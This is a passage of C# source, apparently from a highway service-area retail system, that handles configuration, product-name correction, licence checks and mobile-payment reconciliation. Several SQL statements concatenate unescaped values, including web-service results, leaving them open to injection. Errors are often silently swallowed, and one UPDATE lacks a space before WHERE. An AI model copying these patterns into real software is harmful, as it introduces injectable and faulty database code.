= 0; } strsql = "insert into t_configuration(configuration_id, configuration_date, configuration_name, configuration_values)values(" + (maxid + 1) + ", now(),'" + ConfigUration_Name + "','" + ConfigUration_Values + "')"; try { Lib.SyBaseHelper.ExecuteSqlTran(strsql); return true; } catch (Exception) { return false; } } else { strsql = "update t_configuration set configuration_values = '" + ConfigUration_Values + "' where lower(configuration_name) = lcase('" + ConfigUration_Name + "')"; try { Lib.SyBaseHelper.ExecuteSqlTran(strsql); return true; } catch (Exception ex) { return false; } } } #endregion #region 未知商品自动校正 /// /// 未知商品自动校正 /// private void CommodityUpdate() { string _Result = ""; QualityHelper qualityHelper = new QualityHelper(); string _selectsql = "select commodity_barcode from t_commodityex where commodity_name like '%未知商品%' ";// and datalength(commodity_barcode) >= 8"; try { using (DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_selectsql).Tables[0]) { if (_DataTable.Rows.Count > 0) { for (int i = 0; i < _DataTable.Rows.Count; i++) { string[] _barcode = { _DataTable.Rows[i]["commodity_barcode"].ToString().Trim() }; try { //_Result = WSHelper.InvokeWebService("http://localhost:7080/EShangTechService/Service.asmx", "querypay", _barcode).ToString(); _Result = WSHelper.InvokeWebService("http://" + qualityHelper.dbip + ":" + qualityHelper.serviceport + "/Service.asmx", "BarcodeLibraryQuery", _barcode).ToString(); } catch (Exception ex) { LogHelper.WriteServiceLog("校对商品信息:" + ex.Message); _Result = ""; } using (DataTable _ResultTable = JsonHelper.JsonToDataTable(_Result)) { if (_ResultTable.Rows.Count > 0) { for (int j = 0; j < _ResultTable.Rows.Count; j++) { string _updatesql = "UPDATE T_COMMODITYEX " + "SET " + "COMMODITY_TYPE = '" + _ResultTable.Rows[j]["COMMODITY_TYPE"].ToString() + "'," + "COMMODITY_NAME = '" + _ResultTable.Rows[j]["COMMODITY_NAME"].ToString() + "', " + "COMMODITY_RULE = '" + _ResultTable.Rows[j]["COMMODITY_RULE"].ToString() + "', " + "COMMODITY_UNIT = '" + _ResultTable.Rows[j]["COMMODITY_UNIT"].ToString() + "' , " + "DOWNLOADDATE = DATETIME('" + DateTime.Now.ToString() + "') " + "WHERE " + "COMMODITY_BARCODE = '" + _DataTable.Rows[i]["commodity_barcode"].ToString() + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(_updatesql); } } } } } } } catch (Exception ex) { LogHelper.WriteServiceLog("校对商品信息:" + ex.Message); } } #endregion /// /// 校验授权码是否有效 /// /// 授权码 /// private bool AuthorizationCheck(string strAuthorization, string strServerPart) { try { string[] _strCodes = strAuthorization.ToDecrypt().Split('|'); if (GetMacAddressByNetworkInformation() == _strCodes[3] && DateTime.Parse(_strCodes[2]) > DateTime.Now && _strCodes[0] == strServerPart) { return true; } else { return false; } } catch { return false; } } public void PresenterCheck() { try { string serverpartcode = _QualityHelper.serverpartcode; string shopcode = _QualityHelper.shopcode; if (((serverpartcode == "331010" && shopcode.Substring(1, 1) == "1") ||//萧山东 (serverpartcode == "330306" && shopcode.Substring(1, 1) == "4") ||//嘉兴北 (serverpartcode == "331060" && shopcode.Substring(1, 1) == "4") ||//德清北 (serverpartcode == "333020" && shopcode.Substring(1, 1) == "3") ||//台州西 (serverpartcode == "334030" && shopcode.Substring(1, 1) == "4") ||//衢州北 (serverpartcode == "888888" && shopcode.Substring(1, 1) == "4")) && //测试北 decimal.Parse(_QualityHelper.ConfigurationValues("Lucky", "0")) > -1 && DateTime.Today < new DateTime(2019, 3, 1)) { try { System.Collections.Hashtable hashtable = new System.Collections.Hashtable { { "serverPartCode",serverpartcode }, { "startDate", "2019/01/21 00:00:00" } }; string _Result = ESSupport.Lib.SoapWSHelper.QuerySoapWebServiceString("http://" + _QualityHelper.dbip + ":" + _QualityHelper.serviceport + "/service.asmx", "PresenterRecordQuery", hashtable); int.Parse(_Result); UpdateConfigUration("Lucky", _Result); if (_QualityHelper.serverpartcode == "888888") { LogHelper.WriteServiceLog("消费赠礼检测结果:" + _Result); } } catch (Exception ex) { UpdateConfigUration("Lucky", "0"); LogHelper.WriteServiceLog("消费赠礼检测失败:" + ex.Message); } } } catch { } } #region 方法 -> 获取门店移动支付通道配置 /// /// 获取门店移动支付通道配置 /// /// 接口地址 /// 服务区编码 /// 业态编码 public void MobilePayConfigUpdate(string paySeviceIP, string[] payServicePort, string serverPartCode, string businessType) { if (string.IsNullOrWhiteSpace(paySeviceIP) || payServicePort == null || payServicePort.Count() == 0 || string.IsNullOrWhiteSpace(serverPartCode) || string.IsNullOrWhiteSpace(businessType)) { return; } bool _isDataDown = false; List _ServiceUrlList = new List(); for (int i = 0; i < payServicePort.Count(); i++) { _ServiceUrlList.Add(string.Format("http://{0}:{1}/Service.asmx", paySeviceIP, payServicePort[i])); } System.Collections.Hashtable hashtable = new System.Collections.Hashtable { { "serverPartCode", serverPartCode }, { "businessType", businessType } }; foreach (string _strServiceUrl in _ServiceUrlList) { try { string _strResult = ESSupport.Lib.SoapWSHelper.QuerySoapWebServiceString(_strServiceUrl, "MobilePayConfig", hashtable); if (!string.IsNullOrWhiteSpace(_strResult)) { DataTable _DateTable = JsonHelper.JsonToDataTable(_strResult); if (_DateTable != null && _DateTable.Rows.Count > 0) { foreach (DataRow _DataRow in _DateTable.Rows) { UpdateConfigUration(_DataRow["k"].ToString(), _DataRow["v"].ToString()); } _isDataDown = false; } else { _isDataDown = true; } } else { _isDataDown = true; } break; } catch (Exception ex) { LogHelper.WriteServiceLog("移动支付通道配置下载异常:" + ex.Message); } } if (_isDataDown) { try { if (_OracleHelper == null) { _OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip, _QualityHelper.dbport, _QualityHelper.conname, _QualityHelper.dbuser, _QualityHelper.dbpass); } DataTable _DataTable = _OracleHelper.ExcuteSqlGetDataSet(string.Format( @"SELECT * FROM HIGHWAY_EXCHANGE.T_CONFIGURATION WHERE MACADDRESS = '{0}' AND UPPER(CONFIGURATION_NAME) IN ( 'SERVER_IP','SERVICE_PORT','SERVICE_PORT2','SERVICE_PORT3', 'SERVICE_PORT4','SERVICE_PORT5','MOBILEPAYOPERATORS')", Lib.PCHelper.GetMacAddressByNetworkInformation())).Tables[0]; for (int i = 0; i < _DataTable.Rows.Count; i++) { UpdateConfigUration(_DataTable.Rows[i]["CONFIGURATION_NAME"].ToString(), _DataTable.Rows[i]["CONFIGURATION_VALUES"].ToString()); } } catch { } } } #endregion /// /// 移动支付交易校验 /// /// 服务地址 /// 服务端口 /// 服务区编码 /// 门店编码 /// 收银机编码 /// 校验起始时间 public void PayCheck(string paySeviceIP, string payServicePort, string serverPartCode, string shopCode, string machineCode, DateTime payStartDate) { string _strServiceUrl = String.Format("http://{0}:{1}/Service.asmx", paySeviceIP, payServicePort); string _strSelect = String.Format("SELECT TICKET_CODE FROM T_MOBILE_PAY " + "WHERE MOBILEPAY_DATE BETWEEN DATETIME('{0}') AND DATETIME('{1}') " + "AND MOBILEPAY_RESULT NOT IN(1,5,9)", payStartDate.ToString("yyyy/MM/dd HH:mm:ss"), DateTime.Now.AddMinutes(-5)); DataTable _tableMobilePay = ESSupport.Lib.SyBaseHelper.QueryOdbc(_strSelect).Tables[0]; if (_tableMobilePay.Rows.Count > 0) { string _strOrderCode = ""; string _strResult = ""; string _strLeft = serverPartCode + shopCode + machineCode.PadLeft(4, '0'); List _listUpdate = new List(); for (int i = 0; i < _tableMobilePay.Rows.Count; i++) { _strOrderCode += (_strOrderCode == "" ? "" : ",") + _tableMobilePay.Rows[i]["TICKET_CODE"].ToString().Replace(_strLeft, ""); if ((i + 1) % 20 == 0 || (i + 1) == _tableMobilePay.Rows.Count) { object[] _args = { serverPartCode, shopCode, machineCode, _strOrderCode }; try { _strResult = WSHelper.InvokeWebService(_strServiceUrl, "MobilePayCheck", _args).ToString(); if (!String.IsNullOrWhiteSpace(_strResult)) { DataTable _tableResult = Lib.JsonHelper.JsonToDataSet(_strResult).Tables[0]; string _strTicketCode = ""; for (int n = 0; n < _tableResult.Rows.Count; n++) { _strTicketCode += (_strTicketCode == "" ? "" : ",") + "'" + _tableResult.Rows[n]["TICKETCODE"].ToString() + "'"; } if (!String.IsNullOrWhiteSpace(_strTicketCode)) { _listUpdate.Add(String.Format("UPDATE T_MOBILE_PAY SET MOBILEPAY_RESULT = 5, MOBILEPAY_STATE = 0" + "WHERE TICKET_CODE IN({0}) AND MOBILEPAY_RESULT NOT IN (1,5,9)", _strTicketCode)); _listUpdate.Add(String.Format("UPDATE T_SELLDATA_PAY SET SELLDATAPAY_STATE = 8 " + "WHERE ORDERCODE IN ({0}) AND SELLDATAPAY_STATE NOT IN (1,9)", _strTicketCode)); } } } catch { } _strOrderCode = ""; } } if (_listUpdate.Count > 0) { try { ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(_listUpdate); } catch (Exception ex) { } } } } } }